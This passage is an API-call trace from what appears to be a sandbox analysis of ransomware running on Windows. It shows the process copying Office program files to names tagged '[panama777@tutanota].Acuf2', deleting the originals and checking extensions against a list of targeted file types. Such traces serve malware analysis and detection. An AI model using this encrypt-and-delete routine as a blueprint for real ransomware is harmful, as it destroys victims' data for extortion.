	[0262.634] WriteFile (in: hFile=0x270, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x9990, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0x9990, lpOverlapped=0x0) returned 1
	[0262.636] ReadFile (in: hFile=0x29c, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0262.636] WriteFile (in: hFile=0x270, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xe4, lpOverlapped=0x0) returned 1
	[0262.636] SetEndOfFile (hFile=0x270) returned 1
	[0262.636] CloseHandle (hObject=0x270) returned 1
	[0262.636] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.636] SetEndOfFile (hFile=0x29c) returned 1
	[0262.638] CloseHandle (hObject=0x29c) returned 1
	[0262.639] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0262.639] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\lgnd.vsl")) returned 1
	[0262.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL") returned 56
	[0262.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL") returned 56
	[0262.639] lstrlenW (lpString=".doc") returned 4
	[0262.639] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1
	[0262.639] lstrlenW (lpString=".docx") returned 5
	[0262.639] lstrcmpiW (lpString1=".docx", lpString2="D.VSL") returned -1
	[0262.639] lstrlenW (lpString=".pdf") returned 4
	[0262.639] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1
	[0262.639] lstrlenW (lpString=".xls") returned 4
	[0262.639] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1
	[0262.639] lstrlenW (lpString=".xlsx") returned 5
	[0262.639] lstrcmpiW (lpString1=".xlsx", lpString2="D.VSL") returned -1
	[0262.639] lstrlenW (lpString=".ppt") returned 4
	[0262.639] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1
	[0262.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL") returned 56
	[0262.639] lstrlenW (lpString=".zip") returned 4
	[0262.639] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1
	[0262.639] lstrlenW (lpString=".rar") returned 4
	[0262.639] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1
	[0262.639] lstrlenW (lpString=".bz2") returned 4
	[0262.639] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1
	[0262.639] lstrlenW (lpString=".7z") returned 3
	[0262.640] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1
	[0262.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL") returned 56
	[0262.640] lstrlenW (lpString=".dbf") returned 4
	[0262.640] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1
	[0262.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL") returned 56
	[0262.640] lstrlenW (lpString=".1cd") returned 4
	[0262.640] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1
	[0262.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL") returned 56
	[0262.640] lstrlenW (lpString=".jpg") returned 4
	[0262.640] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1
	[0262.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL") returned 56
	[0262.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL") returned 56
	[0262.640] lstrlenW (lpString=".doc") returned 4
	[0262.640] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1
	[0262.640] lstrlenW (lpString=".docx") returned 5
	[0262.640] lstrcmpiW (lpString1=".docx", lpString2="D.VSL") returned -1
	[0262.640] lstrlenW (lpString=".pdf") returned 4
	[0262.640] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1
	[0262.640] lstrlenW (lpString=".xls") returned 4
	[0262.640] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1
	[0262.640] lstrlenW (lpString=".xlsx") returned 5
	[0262.640] lstrcmpiW (lpString1=".xlsx", lpString2="D.VSL") returned -1
	[0262.640] lstrlenW (lpString=".ppt") returned 4
	[0262.640] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1
	[0262.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL") returned 56
	[0262.640] lstrlenW (lpString=".zip") returned 4
	[0262.640] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1
	[0262.640] lstrlenW (lpString=".rar") returned 4
	[0262.640] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1
	[0262.640] lstrlenW (lpString=".bz2") returned 4
	[0262.640] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1
	[0262.640] lstrlenW (lpString=".7z") returned 3
	[0262.641] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1
	[0262.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL") returned 56
	[0262.641] lstrlenW (lpString=".dbf") returned 4
	[0262.641] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1
	[0262.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL") returned 56
	[0262.641] lstrlenW (lpString=".1cd") returned 4
	[0262.641] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1
	[0262.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\LGND.VSL") returned 56
	[0262.641] lstrlenW (lpString=".jpg") returned 4
	[0262.641] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1
	[0262.641] lstrcmpiW (lpString1=".DLL", lpString2=".Acuf2") returned 1
	[0262.641] lstrlenW (lpString="MAPISHELLR.DLL") returned 14
	[0262.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPISHELLR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mapishellr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c
	[0262.641] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=591832) returned 1
	[0262.641] CloseHandle (hObject=0x29c) returned 1
	[0262.641] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPISHELLR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mapishellr.dll")) returned 0x20
	[0262.641] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPISHELLR.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mapishellr.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0262.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPISHELLR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mapishellr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPISHELLR.DLL") returned 62
	[0262.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPISHELLR.DLL") returned 62
	[0262.642] lstrlenW (lpString=".doc") returned 4
	[0262.642] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0262.642] lstrlenW (lpString=".docx") returned 5
	[0262.642] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1
	[0262.642] lstrlenW (lpString=".pdf") returned 4
	[0262.642] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0262.642] lstrlenW (lpString=".xls") returned 4
	[0262.642] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0262.642] lstrlenW (lpString=".xlsx") returned 5
	[0262.642] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1
	[0262.642] lstrlenW (lpString=".ppt") returned 4
	[0262.642] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0262.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPISHELLR.DLL") returned 62
	[0262.642] lstrlenW (lpString=".zip") returned 4
	[0262.642] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0262.642] lstrlenW (lpString=".rar") returned 4
	[0262.642] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0262.642] lstrlenW (lpString=".bz2") returned 4
	[0262.642] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0262.642] lstrlenW (lpString=".7z") returned 3
	[0262.642] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0262.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPISHELLR.DLL") returned 62
	[0262.642] lstrlenW (lpString=".dbf") returned 4
	[0262.642] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0262.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPISHELLR.DLL") returned 62
	[0262.642] lstrlenW (lpString=".1cd") returned 4
	[0262.643] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0262.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPISHELLR.DLL") returned 62
	[0262.643] lstrlenW (lpString=".jpg") returned 4
	[0262.643] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0262.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPISHELLR.DLL") returned 62
	[0262.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPISHELLR.DLL") returned 62
	[0262.643] lstrlenW (lpString=".doc") returned 4
	[0262.643] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0262.643] lstrlenW (lpString=".docx") returned 5
	[0262.643] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1
	[0262.643] lstrlenW (lpString=".pdf") returned 4
	[0262.643] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0262.643] lstrlenW (lpString=".xls") returned 4
	[0262.643] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0262.643] lstrlenW (lpString=".xlsx") returned 5
	[0262.643] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1
	[0262.643] lstrlenW (lpString=".ppt") returned 4
	[0262.643] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0262.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPISHELLR.DLL") returned 62
	[0262.643] lstrlenW (lpString=".zip") returned 4
	[0262.643] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0262.643] lstrlenW (lpString=".rar") returned 4
	[0262.643] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0262.643] lstrlenW (lpString=".bz2") returned 4
	[0262.644] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0262.644] lstrlenW (lpString=".7z") returned 3
	[0262.644] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0262.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPISHELLR.DLL") returned 62
	[0262.644] lstrlenW (lpString=".dbf") returned 4
	[0262.644] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0262.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPISHELLR.DLL") returned 62
	[0262.644] lstrlenW (lpString=".1cd") returned 4
	[0262.644] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0262.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPISHELLR.DLL") returned 62
	[0262.644] lstrlenW (lpString=".jpg") returned 4
	[0262.644] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0262.644] lstrcmpiW (lpString1=".DLL", lpString2=".Acuf2") returned 1
	[0262.644] lstrlenW (lpString="MERES.DLL") returned 9
	[0262.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MERES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\meres.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0262.749] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=1052592) returned 1
	[0262.749] CloseHandle (hObject=0x328) returned 1
	[0262.749] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MERES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\meres.dll")) returned 0x20
	[0262.929] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MERES.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\meres.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0263.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MERES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\meres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0263.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MERES.DLL") returned 57
	[0263.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MERES.DLL") returned 57
	[0263.043] lstrlenW (lpString=".doc") returned 4
	[0263.043] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0263.043] lstrlenW (lpString=".docx") returned 5
	[0263.044] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1
	[0263.044] lstrlenW (lpString=".pdf") returned 4
	[0263.044] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0263.044] lstrlenW (lpString=".xls") returned 4
	[0263.044] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0263.044] lstrlenW (lpString=".xlsx") returned 5
	[0263.044] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1
	[0263.044] lstrlenW (lpString=".ppt") returned 4
	[0263.044] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0263.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MERES.DLL") returned 57
	[0263.044] lstrlenW (lpString=".zip") returned 4
	[0263.044] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0263.044] lstrlenW (lpString=".rar") returned 4
	[0263.044] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0263.044] lstrlenW (lpString=".bz2") returned 4
	[0263.044] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0263.044] lstrlenW (lpString=".7z") returned 3
	[0263.044] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0263.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MERES.DLL") returned 57
	[0263.044] lstrlenW (lpString=".dbf") returned 4
	[0263.044] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0263.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MERES.DLL") returned 57
	[0263.044] lstrlenW (lpString=".1cd") returned 4
	[0263.044] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0263.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MERES.DLL") returned 57
	[0263.044] lstrlenW (lpString=".jpg") returned 4
	[0263.044] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0263.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MERES.DLL") returned 57
	[0263.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MERES.DLL") returned 57
	[0263.044] lstrlenW (lpString=".doc") returned 4
	[0263.044] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
	[0263.044] lstrlenW (lpString=".docx") returned 5
	[0263.044] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1
	[0263.045] lstrlenW (lpString=".pdf") returned 4
	[0263.045] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1
	[0263.045] lstrlenW (lpString=".xls") returned 4
	[0263.045] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0263.045] lstrlenW (lpString=".xlsx") returned 5
	[0263.045] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1
	[0263.045] lstrlenW (lpString=".ppt") returned 4
	[0263.045] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0263.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MERES.DLL") returned 57
	[0263.045] lstrlenW (lpString=".zip") returned 4
	[0263.045] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0263.045] lstrlenW (lpString=".rar") returned 4
	[0263.045] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0263.045] lstrlenW (lpString=".bz2") returned 4
	[0263.045] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0263.045] lstrlenW (lpString=".7z") returned 3
	[0263.045] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0263.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MERES.DLL") returned 57
	[0263.045] lstrlenW (lpString=".dbf") returned 4
	[0263.045] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0263.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MERES.DLL") returned 57
	[0263.045] lstrlenW (lpString=".1cd") returned 4
	[0263.045] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0263.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MERES.DLL") returned 57
	[0263.045] lstrlenW (lpString=".jpg") returned 4
	[0263.045] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0263.045] lstrcmpiW (lpString1=".HXT", lpString2=".Acuf2") returned 1
	[0263.045] lstrlenW (lpString="MSOUC_COL.HXT") returned 13
	[0263.045] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0263.046] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=205) returned 1
	[0263.046] CloseHandle (hObject=0x33c) returned 1
	[0263.046] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_col.hxt")) returned 0x20
	[0263.046] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_col.hxt.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0263.046] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0263.046] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.046] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.046] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_col.hxt.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0263.048] GetLastError () returned 0x0
	[0263.048] ReadFile (in: hFile=0x33c, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0xcd, lpOverlapped=0x0) returned 1
	[0263.049] WriteFile (in: hFile=0x358, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xd0, lpOverlapped=0x0) returned 1
	[0263.050] ReadFile (in: hFile=0x33c, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0263.050] WriteFile (in: hFile=0x358, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xee, lpOverlapped=0x0) returned 1
	[0263.050] SetEndOfFile (hFile=0x358) returned 1
	[0263.050] CloseHandle (hObject=0x358) returned 1
	[0263.050] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.050] SetEndOfFile (hFile=0x33c) returned 1
	[0263.052] CloseHandle (hObject=0x33c) returned 1
	[0263.053] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0263.053] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_col.hxt")) returned 1
	[0263.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT") returned 61
	[0263.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT") returned 61
	[0263.053] lstrlenW (lpString=".doc") returned 4
	[0263.053] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1
	[0263.053] lstrlenW (lpString=".docx") returned 5
	[0263.053] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1
	[0263.053] lstrlenW (lpString=".pdf") returned 4
	[0263.053] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1
	[0263.053] lstrlenW (lpString=".xls") returned 4
	[0263.053] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1
	[0263.053] lstrlenW (lpString=".xlsx") returned 5
	[0263.053] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1
	[0263.053] lstrlenW (lpString=".ppt") returned 4
	[0263.053] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1
	[0263.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT") returned 61
	[0263.053] lstrlenW (lpString=".zip") returned 4
	[0263.053] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1
	[0263.053] lstrlenW (lpString=".rar") returned 4
	[0263.053] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1
	[0263.053] lstrlenW (lpString=".bz2") returned 4
	[0263.053] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1
	[0263.053] lstrlenW (lpString=".7z") returned 3
	[0263.053] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1
	[0263.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT") returned 61
	[0263.054] lstrlenW (lpString=".dbf") returned 4
	[0263.054] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1
	[0263.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT") returned 61
	[0263.054] lstrlenW (lpString=".1cd") returned 4
	[0263.054] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1
	[0263.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT") returned 61
	[0263.054] lstrlenW (lpString=".jpg") returned 4
	[0263.054] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1
	[0263.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT") returned 61
	[0263.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT") returned 61
	[0263.054] lstrlenW (lpString=".doc") returned 4
	[0263.054] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1
	[0263.054] lstrlenW (lpString=".docx") returned 5
	[0263.054] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1
	[0263.054] lstrlenW (lpString=".pdf") returned 4
	[0263.054] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1
	[0263.054] lstrlenW (lpString=".xls") returned 4
	[0263.054] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1
	[0263.054] lstrlenW (lpString=".xlsx") returned 5
	[0263.054] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1
	[0263.054] lstrlenW (lpString=".ppt") returned 4
	[0263.054] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1
	[0263.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT") returned 61
	[0263.054] lstrlenW (lpString=".zip") returned 4
	[0263.054] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1
	[0263.054] lstrlenW (lpString=".rar") returned 4
	[0263.054] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1
	[0263.054] lstrlenW (lpString=".bz2") returned 4
	[0263.054] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1
	[0263.054] lstrlenW (lpString=".7z") returned 3
	[0263.055] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1
	[0263.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT") returned 61
	[0263.055] lstrlenW (lpString=".dbf") returned 4
	[0263.055] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1
	[0263.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT") returned 61
	[0263.055] lstrlenW (lpString=".1cd") returned 4
	[0263.055] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1
	[0263.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_COL.HXT") returned 61
	[0263.055] lstrlenW (lpString=".jpg") returned 4
	[0263.055] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1
	[0263.055] lstrcmpiW (lpString1=".HXK", lpString2=".Acuf2") returned 1
	[0263.055] lstrlenW (lpString="MSOUC_F_COL.HXK") returned 15
